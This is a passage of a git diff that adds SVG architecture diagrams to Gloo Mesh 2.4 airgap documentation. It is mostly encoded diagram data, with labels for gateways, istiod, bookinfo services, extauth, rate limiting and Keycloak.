/VQsVLpdob/djpF+Cecq6qjXHUwMDFjXHUwMDEw2+ZcdTAwMWV6hINcdTAwMTa+3DLHey3QU1x1MDAwZbhP2bZcdTAwMDdjV7pgIWZ6UNBcctJccj1PQ0BFXHUwMDAxxqCFKbzC/1x1MDAwNOKLXHUwMDFkYYhcdTAwMTlhosyQZdOwR9inuuxTXHUwMDE2wM0tTlx1MDAwMFx1MDAwMVBCOLH1optLXHUwMDA2LSzEQCppTVx1MDAxOTcrWVx1MDAxNlx1MDAxNECDXHUwMDBiTeThXFxeQe5cdTAwMDfjrYXOllx1MDAwNlx1MDAxZFLCXHUwMDE0vCoj47G09Zz71YCFW4JqbXqKcfhcdTAwMWNXW1x1MDAwZdj2Tr9dXFxcdTAwMTSD/cFm/DNcdTAwMDV9hFx1MDAxZGYvUktcdTAwMTBuJmxcdTAwMWFcdTAwMGZcdOJcdTAwMGVDv4+qXHUwMDA3luuRN9fKYZ+T+8f+c3OBR7FrIaEgptegUFx1MDAxYsi74qNO4XYj88JS6YtcdTAwMDdBU7d0K+fgl0JcdTAwMWZcIi0kKOBcbmHGly9cIlx1MDAxZjBSLGBcdTAwMGXDrFx1MDAxY2xcdTAwMTZcdTAwMGZPvp+xLm7ijlOLaFxuzMWB+Si3XHUwMDA1T+Z9TrGwmOkwbTpcdTAwMTJzQVx1MDAxZMRcdTAwMWRHRFx0pv7s7s7LXGa6XuhEc6r/eDOuVd7jsU4ujOQ1fZBOQlx1MDAwN8GTNq0uJTI9UFx1MDAxOeKrQocoS2t4VCCVQP0htZ9cdTAwMWXL3yd0XFxcdTAwMGbe7N2VM7eh1Nm2rlx1MDAwM85cZlx1MDAxNaazvP+Zr6Np5HFUmY5K/PYpcnfbrNJG5THYkkdcdOHVdUCByJeMcUVcdTAwMTjIe+3Reu9cdTAwMWJcdTAwMDZKKWamc1x1MDAxM1x1MDAxYcy0m0TmRjxcdTAwMTBcdTAwMWOj8uq5XHUwMDE0XHUwMDBmhdJcdDJ4dDbCTnGJzelcdTAwMWVoe4+L7KGms1x1MDAxZdcu/OVk11x1MDAwNSacbzgnu1wiXGK/azgrcy+NNiZcdTAwMTbFXHUwMDFiXGZ58d7lgFx1MDAwNiZAXHUwMDE5e/ShY1xibLO9KeO95KgjXHUwMDA25rik6pTQc/aj01x1MDAxZIVcdTAwMWGdmSfwS1x1MDAwM1x1MDAxNGtA57K70r7M7XGzkK6zSTCXXFwqzqT/5LtcdTAwMTS/49F4iPVSN/3HxChauHp+cEu+XHUwMDBiSDrPXGY3I9dcdTAwMTiiQlx1MDAxNsdKI1wiNGaMuVx1MDAxYux+snn2XGabhXGccnHAUSS7wGZaKmSer6O1aa9Zy4nrKFx1MDAxZj+lartr3Vx1MDAwM5E9XHUwMDE0XHUwMDFhn+ZSw2Eve59sdVx1MDAxMipbv+holFx1MDAxYe2BLlx1MDAxOelcdTAwMTBo0kw6X+TZ+vvHU3mMXFzAx0Z0j+upnchcdTAwMWVcdTAwMWTZ1uQq85FCKpctPLbD7YvGQ75xvtPBXVx1MDAwN5udv0jwYLNQrqpYSYRcdTAwMThcdTAwMTPMvyb2fnpBhs3uulgrXHUwMDBi7UtcdTAwMTfvXHUwMDA1NZu4JkaUnzpcbplmlF+PmNfAzdV+mT7QsmvlNXZN6sGScjivfIN0O/3cLqGXSKHw8vpcXFx1MDAxY0xvYs1wMuhcdTAwMGVmRYXFOSXCXGZ1IHhphlx1MDAxZteWUFxmWEJcdTAwMDPfYkmkK3fuXHUwMDE0yWdcdTAwMGXQeDWrx1x1MDAwNNqoNuWcXHUwMDA348xd0npCqYjMtFx1MDAxMMlcdTAwMGYr4VYpjqJveFx1MDAxYz7StJ76aNQrNTqBy+ZxWJcn33sk8dhaZC1zvtZcdTAwMWPDfiP/itn72Vx1MDAwN5TzhbS0XHSjIVx1MDAwNtaymLPgLIeHzmLamDCmTfRbXHUwMDFliPORtpggWlx1MDAxMDqbzGRcdTAwMTMwn4JAKUubiZLEZFx1MDAxZHK9msTDXHUwMDExPC16SDdXXHUwMDEwgtpuoWtvpXO2lMQjMEHEjPHCJjpt+9RqXHUwMDBlj3FcdTAwMWZumcMzqsdfJ+fviWl0Ulx1MDAxODSHrfD46lx1MDAxYbmsSVx1MDAxMIDIUnBcdTAwMDZKhpP5UN3PNVx1MDAxMWRcdTAwMTFthqyBhpJcXEi+sqajXG6nu1x1MDAxZnlzrVx1MDAxY/Y5vX/sPzdcdTAwMTZ4jLonLVJcckCHolxyklx1MDAxNu/H4Zfn7Pjl8VrddV9zo0QmS906WFx1MDAwNMZcdTAwMTDRTGtLXHUwMDEzXHUwMDEwdWz2umiIYMo//fdgmNlcdTAwMDdcdTAwMWFsUVjg2lx1MDAxMFxcWtJ2KeIwx1x1MDAwZc+X/dnCXHUwMDAyYa2kOmAsPVxiXCLOPW9nkdhcdTAwMTGxu+vjNlx1MDAxN8iCXHLZ282OYe6t/qVcdTAwMDKMzyX3nyfzTC9cdTAwMTKRcL7Larc8m27ddXjk9j7wzI05t5TgSGpqXlx1MDAxN1xyXHUwMDE5xYhcdTAwMDVcdTAwMTJcdTAwMGVhqtBsLLU7mvGRKOPa7N9cdTAwMDG92MOAv+qFXHUwMDE0k4TLP1xyrmzlX1x1MDAxOGNHu8Jmhn6NXVx1MDAwMevYiu+4+2xYxVx1MDAxNZKISv9B8WarXHUwMDEzq5Grh0FqUH8qNy9DbZz4XGI831x1MDAxMcksoZXJw4ZXJFb4zq5UPcYk7sB3xKnP8Fxu32FJXHUwMDE1g1WIP2z463aMR1x1MDAwMsJ4ZFvGczffqZZgSWziV8fvyXa0NSi9V3qDZDdcdTAwMWa5eWbFZNA5z1x1MDAxNOQhS1GXnt+G9fz1lzm8ysPwuFxi41R8X9755z1cdTAwMWM8dy+83ynf8l64NUbRWD+aT97EcsHy3P09XHUwMDFhlXr45agpXdhAo3Ki+GX+9VpcdTAwMTbfSbZ/U+2PXHUwMDEz0Urw+Vx1MDAxYTNtXHTpYqdcdTAwMWG+llpcYlNpaNxcInppYV+qUlx1MDAwNSNcXJvW5CeVevwqVbgmeGIpMVZYXHUwMDEz/yr1qdKPd1x1MDAxOL3vXV+m5TnisvWSRsfBemArw/Eh5nUxxVNh9lx1MDAxNaznUMi6ynqcmUJ7fcAo9Vx1MDAxMXFcdTAwMWVcclxi59FcdTAwMWRyNjVFruyHXHUwMDEx1VxiceXfh3NcdTAwMWKuXHUwMDE1i2l6cTdcdTAwMTJcdTAwMTE2vVx1MDAxZFxcf9zGXHUwMDAzXmWpQMBY8+xqsVhUjonmXHUwMDE2k8B2gHaxXHUwMDE0ZDc8u+ekTVx1MDAwNlx1MDAwZshU5Vx1MDAwNjNps/hWeFx1MDAxONSGVzozfm5HK91+k3Rd6lCCkF15bLVOXHUwMDA32t7jXCJ7qFqn49qFXHUwMDEz2UOQXZdcdTAwMGLqfMM52Vx1MDAxNfn6TbmgXHUwMDE4XHUwMDExV1x1MDAxZK8kJYph4Vx1MDAxZmF7b3NAXHUwMDExtlKEeSh5ioml96Xk91NDZVxc+IKhU3u3WVi1UylcdTAwMGUqZ3fdijPiPlBK6Fx1MDAxYTS7jMNcdTAwMTfWuT1cIpfcvSkyZZRrTpD/psiF3H36/rL+/lx1MDAxNjvniYnMppuZh5ttXHUwMDEw+Vx1MDAxN1ZRwVx0s1x1MDAwZmtcXO57orCFNeVgmFxigZhyXHUwMDBmqn59XHUwMDE5ldSacYFcdTAwMDNcbshfm5VBro6rsVx1MDAwMSpmI73r93Lm/WN3xXsgsqcqqmN8aieyJ7LrgLPzXHKDXHUwMDA3nKV2dU1zavxiaoNgr/cuXHUwMDA3XHUwMDE3N1x1MDAxMy9VrJUl9qWK9zJMRHBcIsghO7BcdTAwMWVcdTAwMGZsXHUwMDA2XHUwMDE0ejZpjOpnV51x13kk+6GA81x1MDAxYdC5XGacl1a6PXRW3DXbXHUwMDE4jDut9CbJxr278DT8eJHp5/p98lx1MDAxYWNDkuhmXHUwMDAy78tcdTAwMTbWL1x1MDAxYte8skV2ZUJbXHUwMDEyzlwiZYxKJuVuaVH7XHUwMDFll2fsXdNgMpDQmeJW7zxay6WzoXG2eNlcdTAwMTg+p9FpnsjefNlcdTAwMDfa3lx1MDAwM5F90mlccsr/odnKJ1x1MDAwNjU1uXzrT5p72IVkXHUwMDAzhV5lPffYfLy9XHUwMDFmi3ZIVOvtPdB9QGVZK6LBXHJ+XHUwMDFhPVx1MDAxNiOXKIL7nT3QvWe3oeGkVuom79qJZOi18JIliT3Q/WiEea5cdTAwMTLTRZLJKDaMdVx1MDAwYumHy7/ulP3lZNd2YnC84Zzsikb4rlx1MDAwNmbIPcCukWmqrLX/XHUwMDAwu/c2XHUwMDA314rAXrBESYv4giVfNFpFmlx1MDAwNvOanHzvZz9cIu1u9yxZXHUwMDFk1r/c+b5cdTAwMDZ+L9tcdTAwMTCLXHUwMDBi9eRUb1x1MDAxM0K4et+l1sRcdTAwMTRJ+ne+P1x1MDAxNIvR1sPjXbjVKCQ+8lx1MDAxNTmYJtxcdTAwMTJBj8OE4FxcWZRcbjN6xkyF4lx1MDAxZfXZu6R3bzeRXHUwMDEwc1MyLr6vg4qXgnx7ZoMyfVx1MDAxM8/pXHUwMDA0L1xmrvNj9fRQ2V3vniyIg27vcZE9VDbMce3CX052XHUwMDFkcHa+YVx1MDAwMIGze9aKxkhxpZX/klxm710+TtzMJbeUL138RbiZSipcdNf45H0/+1x1MDAxMVx1MDAxYo5cdTAwMWHdL1x1MDAwN81rXHUwMDAw5zJoni9yK1x1MDAwZVXatY1cdTAwMTlYc4ovVJuv49B+j7xcdTAwMTVHN7VcdTAwMWFl753Xh5dmLZ9NXHUwMDA1n0NcdTAwMTmyyCeDyuXkcUp8xsd2zSuztYv7ZFC6WjhFXHUwMDA0UkjY5yZcdTAwMDVcdFwiN5qPz/FcdTAwMGKaXHUwMDFj11x1MDAwYvH4MN3IVSdcdTAwMWY+/Z9cdTAwMDdQWo7877uVWaJaq3acmd9cdTAwMTbi+JpcdTAwMDKRX2vZTlx1MDAwYkv3bDTFXHUwMDE4aFx1MDAxZbqB++riLta9XHUwMDFmJvP0OTZ4KEyS15VK5yHoTK4lsDFFnFFMJLdHqGYty7T12YbA+I3ITlE1TyaXXHUwMDBlVc+rTC5hlSCLvjFcdTAwMDbuxeO1WjXe7tbUeyf9UIhHUIhccoqFI+XxcLux8Jy+k8d/rcWTx93bXHUwMDEyMuHeuVx1MDAxZkkz7ZBz/5Fz72dcdTAwMWNIt5eWWFnIaHDCkGR4XHUwMDExajNpSa2FRphcIkK0PlDgnJi2TUJqjjEmWFx0h1l70jJcco2BuZXGIJb0KvczJFx1MDAxMD1kXHUwMDFm/yC07HLrXHUwMDAw6K1fzuxcdTAwMDP1MFx1MDAwNyykuTRAlSAubEMtf4/xZFx1MDAxNlx1MDAxMURQ07JSgcWpVyfq/Vx1MDAxOd3CQu4nz1xcK2duTu9cdTAwMWb7zy397e7zfYBcdTAwMTG1XHUwMDAy29O/mV/OReLssYMvp+eT6Vx1MDAxNX+/yMtQOuCSXHUwMDA3XHUwMDBibdH5tdxcdTAwMWVQMFx1MDAwYpteKlxmXHUwMDA0XHUwMDEwx2w5XHL/W+tPqTJz11kwU3au81x1MDAxM31dIFx1MDAxZpWHUHFcdTAwMTB/XHUwMDFmXGKUyyedkcbJ4b453Vx1MDAwM23viexcdTAwMDH9+IdK2Dmu3f3Lya6LXHUwMDBmON9wTnZFbn9bWStzXHJcdTAwMTCYbFx1MDAxMkrsfb3XIVx1MDAwN+9tXHUwMDBlqmdcdTAwMDK22lx1MDAwYjsobIl9YYd9XHUwMDA0XGJcdTAwMThAbXXQlunHXHUwMDEzILipTsvtbrH1pfGBNfh42anwucatXHUwMDE4VCnX7sCYajN3x1x1MDAxZbNaXHUwMDFiwcuV+5NcdTAwMTd880xeUlx1MDAxMXbdKsdKmaugM6jiXFxbkpn/XHUwMDEwxolYdFx1MDAxZFx1MDAwMkdalFGMXHUwMDA1mKFaUnf+XHUwMDA0k4xcdTAwMTW9h1x1MDAxZHjyJ3FcdTAwMWF1suo6XHUwMDA0i0toiexcdTAwMWXdP45BN1x1MDAxZEZyNulcdTAwMGVa7rNIvtzRt7osT+Z09flcdTAwMTHM3dmTa1xyykNp/5Z3uJIuXGZeXHUwMDEy/Vx1MDAxZYsnesnktEWHz8KFPVx1MDAwM2J5KyGwpZFcdTAwMTlWqyiiarF3N0FcYphcdTAwMTMwXHUwMDA0XGIpqTTaiTldfX6Cm75voKm1olx1MDAxMjPt0P9cdTAwMTAjalx1MDAxMfiE4pLCnThSy2yLXHUwMDA1XHUwMDAxXHIv/7BuiL679Ls5XHUwMDAz5ViJ6XP9qaszmVx1MDAwMk4gXulG0zbEa3NcdTAwMDaCOlx1MDAxMlx1MDAxOGupiMlBnlx1MDAwZqU5+/RcdTAwMDViSynYYlx1MDAwMkBKKONcYv71ibkv8Jg8fq7Hzlxcq1x1MDAwN25O7lx1MDAxZvvPjWVcdTAwMGX1mFx1MDAwNlwiiaAm1OBf5HhPf9xcYlx1MDAxMXxdc1x1MDAwYs007L1rxlx1MDAwMOZ2xI7kTtO83aeBIGXPK5JcdTAwMGWtXHUwMDFmObYvU/HVTpBcdTAwMTIjjCX6s6WOm2wphd+b4WhHXHJT7bvMoHQrwv1W0Um2mPFHXHUwMDFjIcZcdTAwMDVsXHUwMDE1kUwjRVeHXHJpizCjhIgy/UNcdTAwMTT5PX/HJdLgtirvXHUwMDE5hlx1MDAwYlx1MDAxMo8ppk3xXHTiJnuMqZUlSYtcdTAwMGKtMZUm3VuCXHUwMDBlPGqBXHUwMDE3wmzhXHUwMDBmiMS2flDwupZcdTAwMDDRSzxD7fTA9rZs1MDKXUuQambZVkDlwkSmXHUwMDE1/ltLz5WpzVx1MDAwNVaG2/f1JdJdnTBcdTAwMTi7R45cdTAwMTWcZ1CqXHUwMDFiRI7Lsft0WmSvLrrhq6ZcdTAwMTT1y1x1MDAwNmPdwFx1MDAxYnlgw9lzQFx1MDAxNmPHXHUwMDAycVx1MDAwYtC0yYWDI1x1MDAwNIbgLlx1MDAxMt3bXHTjz8jDSDAhQFx1MDAwZf1xXHRcIv/xonuVyJV64emwX4xnW1xy0W/cjFM+i0pXvnJATFOrO6hcdTAwMDXKKJ0taDtoSKR7XHUwMDAzfkZcdMhXgf07i7xcdTAwMWZ2UKEhXHUwMDAwXHUwMDA0QH+CXHUwMDEwMy1R8MXBXHUwMDFhXHUwMDAyJPje5IgrMuScWYBcdTAwMDakQMqkRThklSpcdTAwMGIzQZBcdTAwMDKjWFxuwFx1MDAwNXOZ83vQlFx1MDAxNCZf4lx1MDAxYodufCcwbISmj83nXFz+edgqptqj83C3W3h1gmDYolxmjE0+XHUwMDFi92xMS2b70K9cdTAwMTGUymLmXHJhWlxyYaXQqtHpXHUwMDBiXHUwMDE2emvVJbAqsZnJiDRcdTAwMDdjl1K0OqxcdTAwMTOb6S/zkFx1MDAwM17NijkqYOh24mdvrlx1MDAxY3Y32PTPr1x1MDAxYvwo9nr3Izhzn4/jx7hRnVxcuOdi/PNr54xQqppv9T//+8///n/tSNiTIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientKeycloakhttpbin workspacehttpbin.org \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg b/gloo-mesh/platform/2-4/airgap/default/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg new file mode 100644 index 0000000000..3cf948c436 --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcySbPuff9cblfv2486OVx1MDAwZvuOQUFcdTAwMTFcdTAwMTXFXHUwMDAxTp/lYpJ5Rlx1MDAxMfba//1E8lx1MDAwZVx1MDAxNNRAMUnRr3Q3tlx1MDAwMllJVsZcdTAwMTNPRMbwP3+dnf09nvarf//32d/Vz3Kx3ahcZouTv/9j/v5RXHUwMDFkjlx1MDAxYb0uvETmv49678Py/J318bg/+u//83+K/b61+JRV7nV+fLLarnaq3fFcYt77f+H3s7P/mT/brjWslsfFbq1dnX9g/tLiclKJ1b/e9LrzS1PJMZKa6N9vaIxcdTAwMTJwuXG1XHUwMDAyr75cdTAwMTXbo+riXHUwMDE186e/se7gfFx1MDAxM3fa9++DcmN438qJXHUwMDExX1xc9a3Rbj+Mp+1cdTAwMWbfq1iuv1x1MDAwZm1zXHUwMDFhjYe9VvW5UVx1MDAxOdfhdbzy99+fXHUwMDFi9WBcdTAwMDVcdTAwMTafXHUwMDFh9t5r9W51NFr6TK9fLDfGU/M3hH7/9cdcIvz32eIvn/CbkohbmMM3pcI8L0Yxn2dcdTAwMDRcdTAwMGKLa0QpJoIoyVbmXHUwMDE177V7QzOv/0JKvvHSYmalYrlVg+l1K4v3YFJSSizeM/n5bVx0Ulx1MDAxNrE92OKm1KuNWn1s3kOEpe1cdTAwMGbbVKrzW1x1MDAwMqMwhSldfNhcXL9/WVlsjvlfyctHmzfV2+OE5DJvqWFcdTAwMTfzj+LvSZnxSqpffW28Z2Jpen91las1ss/675+v/7/VO1MvXHUwMDBl+z/vwN8j84ttXHLM1z9f3aH2XWrbPYXXl4Ggg9KsPGndk7vheXxUf7RNy7ali8Nhb/L371f+9z9+4348Nu5yz61G9UolXHUwMDEybzPUfio+omDjOr7ye79S/LH/sWBKXHUwMDExhSVsnYWEtFx1MDAxYt1cdTAwMTa82H1vt/+yzWxDmZTaSyYxQ4ggxiRcdTAwMGUslNNK6vzt5TXxVuh9Zq+uXHUwMDFi1bjs9UIvlJpSXHUwMDBiUS1cdTAwMTTh8CzVslBixS2FXHTnlClYfukplExzxKW/UFx1MDAxMqJKVVx1MDAxN6HEhKAliVMuQqlcdTAwMWNSyDTDmnOijieF8y+4pVx1MDAxNFaG59lKYdhsd89z8dxbhUdeVXRcdTAwMGZSyGnvblx1MDAxNHnRtPn2UfpcdTAwMThGevl64iHMUqiQp2bEXHUwMDFjLihcdTAwMDSmMrBcdTAwMTTWMo2XWH9cItMvg5vLx8fSO7nud8IuhZpQZpNCRVZVo1xuJoXHV41cdTAwMThcdKolwohcdTAwMWRPKo+kXHUwMDFijyM9gkhP6YFbQShHNLhcdTAwMGUrZuIvuFx1MDAxY1x1MDAxZlxcxTNyVGav6Vx1MDAxOGpHQy89XFxhS8LGY5qYZ7EsPZhri1x1MDAwNpKe+cNXesbDYnfUL1x1MDAwZWErOSVIabksXHUwMDFkTlx1MDAwMYJdYFx024M75EdcdTAwMTHNmFwi4ojys4tW61x1MDAxMppJNF6uXHUwMDE5zVx1MDAwZj9VmcVnxYvLPWi12sPDR7T1ki508r3k9KYxi0bTtTDLJVx1MDAxM8RTLsHGXHUwMDExSmJNg8slXHUwMDFiJoap0qTWyj70XHUwMDFh6OJGosdk2OVSXHQqQyGXiq6XS7wqiUwyLsHOXHUwMDBiMb38anOJe6tcdTAwMWHCXHUwMDE4LFx1MDAxN+zpwFt6XHUwMDFjf613O93P0uPb+On1Jnk7eVLt0G9pXHKblnuaS1x1MDAwNLOTIWpcdTAwMThYXHUwMDFhwYiS4+3vP4qocW9cdTAwMDcgVohrjvVcdTAwMDZcbuEy3Vx1MDAxZnfz5JO0p7J6XHUwMDE3zbTlZeb866RcdTAwMDdtJz1Czlx1MDAxNVx1MDAwMsOIXHUwMDAw/KNcdTAwMTUzhyNsXHRYXHUwMDBiXG5YQrDNrt+rs0FcbrYkXHUwMDFh1Ck91KZcIn6JXHUwMDBisDKNtCAh5mVfzXBs6Oew26VxnenghkctMcnd5Gtvpeig2468PyRu0X3onWdcdTAwMWFcZixcdTAwMWaCw4lcbkhwdtBcdTAwMDZcdTAwMTKhdeRcdTAwMDZg3on+SiuCjspu/iz09+FOSkmw91Rw6nTVKL7MxJ1s6MRLXCLXuojjXHUwMDFhR+FcdTAwMTdcdTAwMTaGfIRFXGJcdTAwMDLCglxiZZhpMFxyXHUwMDBlJSwuXFxcdPhcdTAwMTSyP6hDWjghSDN8qlx1MDAwNz6DWV5cdTAwMTfubtPnvbuXXCKKpj8liYXbeNbeh6VcdTAwMWHBXHUwMDA1JVxuTpV6XHUwMDE5rD+atzeX6VFvkG10su2rXHUwMDA3L0NjZdcvy8rqkeQh/cFcXPjIink1kJmhXHUwMDA0qeqyv6yUqqxUKblcdTAwMTAl4ElcdTAwMWVi8Vt0uJMnYSY16JZTNStcdTAwMWXJ3Vus/5BcdTAwMWFWWadK7rvN18vMvbuojKuf46DuKzlulEbVmVwiVy+N9kvnLVJ9oWxcdTAwMGZusfPXbFx1MDAxY2fY1aRXyuC7l7FOpz5cdTAwMDNcdTAwMWX2+I5b/iglZaJcdTAwMWJr5lx1MDAxYfRBpaa5Zvy8tIdxXHUwMDBmtLynMuzSu/9cdTAwMTP0glx1MDAwMWd7fX7zWqmTXHUwMDFiKbPpTPRmeH77xO6OjPJLX3RcdOC9T95cdTAwMTFcdTAwMTVcdTAwMTRcdTAwMTEpg5/5+d+nsPIhXCL8Ti3InFx1MDAwZlx1MDAwNcD4t/lje+8o5lx1MDAwYr32XHUwMDFi2JnN+P5cdTAwMDHsXHUwMDFhWFx1MDAxOZFMLb5E6HB9q+272CW97vihMavOXHUwMDE54dJfL4qdRnu6dKPn+1x1MDAxYabU6NaGMLuzf7o1uOCkOLXfh1FcdTAwMTWuY8Zjy1x1MDAxZoy2XHUwMDFite5cdTAwMWNlYebV4ZJ8jFx1MDAxYuVi+/dcdTAwMWI6jUrFzpDKMJtcIow5vFxmwmx6w0at0S22cyuT/TXV7flcdTAwMTmnnvyMIMok3Yig6dlnKjV+LrNYPlp7zFx1MDAwYlx1MDAxMbnGXHUwMDE3oSdozEd4KSdhJWhcdTAwMWE+xpBgJ2r4x4r319ep1n3zY9zq527eZt1oK/nNz/bFz1x1MDAwZbS8XHUwMDA3XHUwMDFhXHUwMDE2P3XLovz0WmpWn+MomszG0OTmXHUwMDBmWoV1dNL9gkekfaBcdTAwMTY8aZ/x+2jG1VwiJGKd3vBfz9DSPu7nM6Y8oM/4i2hcdTAwMWbcXHUwMDE0pDhjPMSuryPwvmpxNJ5UR+MjXHUwMDExvzWMaZX4/Z7t7sxPXHUwMDEyz0NcdTAwMWZKlUSMsOB223v5Y1bPXHUwMDBle/f1z+vzaVxcfSQvenfbXHUwMDEwv69MYiDSXHUwMDAyy00jJs3zSlx1MDAxMoM2Rz5CYVx1MDAwNK8jwYmn+Fx1MDAwNohp2TPxkzApLNmpXHUwMDEyv9xzanBcdTAwMTNcdTAwMTOMPsUuyqPsXHKajaVHuPQ38dt83Fx1MDAwMy3vaVxym8+83TevYrpcXLub5sb9x2TivrWP4MVTWYV1fNL9gkfkk9KWJraijaTWQjOJg7sh/JczpHRSSUr89Fx1MDAxMeOWWugjujKvXHUwMDAz00nikjnHQUdihL/p5JmNTjZG40av4kohsVxcevfeKORcdTAwMWHu5fBcdTAwMWT+mOFcdTAwMGXEkXqKKkaMaaxcdTAwMThcdC6rXT67ulTPXHUwMDFk9t69l+xa5Fx1MDAwNun7ariZoyZcdTAwMTJbwFx1MDAwZrnEXGaehV6RVIotJjUhyCQ9XHRvSVxywlx1MDAxYz2D37ZijopcdTAwMTAhXGJcdLPM+qnJXvWjnFx1MDAxOTy3ulElePdxwFx1MDAxYu1O7Js57os5XHUwMDFlaHlcdTAwMGY07JPOakVVrtkqXFxcdTAwMGZrapJ4XHUwMDFmTJp7WIVMXHUwMDAzRTqynn9sPt48fIh2RFTr7X1QR1SWtVwiXHUwMDFhpvHT+LGYTKAkXHUwMDFldPcwLmiLampYL8qPcT3XTJUu06+1yVx1MDAxZcatNK5l8iUu8q3Pu3YpLWPoc7KP3PJT2WXrKLT7XHUwMDA1j0mhhXdYOkVKcoF4cI+O/3qGlEODZlx1MDAxNr6aXHUwMDE5Xl1oZu/CXHUwMDE0X+WSXHUwMDE1SFxuTalcYrEn51xiXHUwMDFjOtnu9c4y1VH97J9usba0wF/gkV1DSFfp9GKyP6a6lehyW3GK1VN4pYVEXFxcdTAwMDVn1IOM6kdmLP6YXHUwMDFk5XPRUv/u4u1cIvTWL0acIItcIs1cdFXz52XRZZhYXFwrXCKklEjh1YnZXHUwMDAyhpVgRf+gYl/RJdylZoUtSOKX6FKmtVSan2h0ZEQkavft99uXq2lcbjVcdTAwMDaJ2WWWXHUwMDBlXHUwMDBlXHUwMDFmYuZcblxmaumvPsBQ6vVaje5b72zSXHUwMDFituBcdTAwMGWWq67IQPjSJ4Mjw7jX94KFpcmvYoDLvHxh4MeKuuCA8Fx1MDAwZaZjYLpJrUTwQ1X/W1x1MDAxY0rLXHUwMDFhUID6pVx1MDAxNjCOgp2pXHUwMDA2QFx1MDAwMW/TXHUwMDFhXHUwMDExi3AqsTa62Vx1MDAwNDE6XHUwMDAxXHUwMDAxrG+phVBcZmaJsKBO1c41wlx1MDAwNqqOXHUwMDE4ZXeQLDPbXHUwMDA1i8NxrNGtNLo1eG2BMb/qq11cdTAwMDbQRnOZL7/PXHUwMDEzXHUwMDExLc65YpQg+IFcdTAwMThb0DOzdsW+mZz1g9fNn1x1MDAwNaHs51x1MDAxYn5T+L+r3cpiSkvTbVx1MDAxN0fjeK/TaYzhi971XHUwMDFh3bHrXHUwMDE3ilx1MDAxYdGsV4tcdTAwMGWZh5Htr63KcN+MuHxrXHUwMDE3/3e22ObzX37////7j+u7I95b0DxcdTAwMWObbzHeX/afXHUwMDFih/Iyz8wmgpSpbMdwcPiZpLu1QWusb5KRWCxVTE1Sr555gOGBXHUwMDFm4lx1MDAxN1xmXGJcdTAwMTbU/pLCveCHMFx1MDAxN1x1MDAwMlwibefPv9JYXHSYMuqovrzDXHUwMDAyzE5cdTAwMTQh8jaEN4LQjv7pdoudqjdbXHUwMDEw29pcdTAwMTG7slx1MDAwNfcpbie5yjtcYl9zYTK0bedJ6yT3+v3hpZebfNLzyyhp3XTub1xu5WzoJZcyi3hKrqR0f1x0vJ6SS11Sdl0kV2lcZrMgLMTUwM90OFJcdTAwMGXinnDB3NBww4LbXGa3MydcdTAwMTTzPKmjQlxuXHUwMDA0XHUwMDBiXHUwMDFl3K3gn6hcdTAwMWRWVCDaUlx1MDAxNDilNpbFaplcboGoXHUwMDA1skgwplxuXHUwMDE4zm6Zyj5lKiyuNVx1MDAwM1x1MDAxY+bAsNRcdTAwMDJ7fmNcdTAwMDSyXHUwMDAwXGaQ5tpU1JCAXHUwMDBmzOlvYEJcdTAwMTOGhTyiv+FL7YlV8r3e0vAvPLFkaVx1MDAxMMpcdTAwMDXFXG7BfSVcdTAwMDSW3cXUIFx1MDAxNieSgurUXHUwMDA07DhBtMPWOC2LwmtcdTAwMTfOX3XZgFx1MDAxYtpcdTAwMTSeXHUwMDE4XHUwMDA0skVX/2yrl4AxXHUwMDE2KHi9XHUwMDA0f91cdTAwMTNiXHUwMDEwQmCqwepSym1cdTAwMDDwg5pcYmHNXHUwMDBiozJcIlx1MDAwNJViZWKHXHUwMDAxIeJcdTAwMTIugCxNqIQ9QFx1MDAxMFx1MDAxM8bn7FJpXG5LXHUwMDEwXG6N/1x1MDAxNFx1MDAxMPKCXHUwMDFhf4a8XHUwMDA0NaB5wIqXXHUwMDFjXHUwMDEzSkDLYNubfiBcclx1MDAwN9qKXGInZmm5RoI7gCZcdTAwMTD6+VdcdTAwMTJZnlx1MDAxMtGgS5CAO03nV3aBP5PQ+mtWgsDG/XfB32L/zz/v2PlcdTAwMWKin3dUoyf2SclcdTAwMDRQXHUwMDBmXHUwMDFk3KFcdTAwMTLNvk9uppPyTbl/XHUwMDE16949xarPuXj4z3VcdTAwMThFllx1MDAwMNSjXGLDM1ktS45h/1x1MDAwYqYpY4CAciePrv+5jlxmdK5DXHUwMDE43H9cdTAwMTLm3Ojf11xiT8Xw3Uyzn6kso7Cd6rjMa0tcbiRtqXCO+mpCKapcdTAwMDRcdTAwMGVcdTAwMWWZ4X+TQ8qBXHUwMDE4llx1MDAxNkZCSVx1MDAwNdqHO+rHmnKBpihcdTAwMWZXmOqdXHUwMDBld338qtSC11x1MDAxNDZcdTAwMTRcdTAwMTfBQIt7sjjWoVx1MDAxNiMwP6zAZMTOSrKAVlx1MDAxNDOQhn9bKdlNXHSQvy5aYlx1MDAxYtRoXXNcdTAwMTBcdTAwMDa2hamJ7eRcdTAwMWHU4rDiwDWIxkIsbI9cclx1MDAxOZB/146lOcFCXHUwMDEwLVx1MDAwNOdMUlx1MDAxM3cvnZMyflx1MDAwM/iHKUak2ZfOSZ1cdTAwMTRcdTAwMDHy3v3msbrvN6Q//lx1MDAxNcCUZ/lszsyNxzQ4XHUwMDA3evm4blHZfFx1MDAxZNZcdTAwMWFqNImwfjRyO9tcdTAwMDb7vrDAhCZ+R9qcc4uLPVx1MDAxNZhYjVvbLVpcXIDMUnKylSXzb1x1MDAxZqP7QrmVo+V0qV57+6xcXPJzdzJcdTAwMTS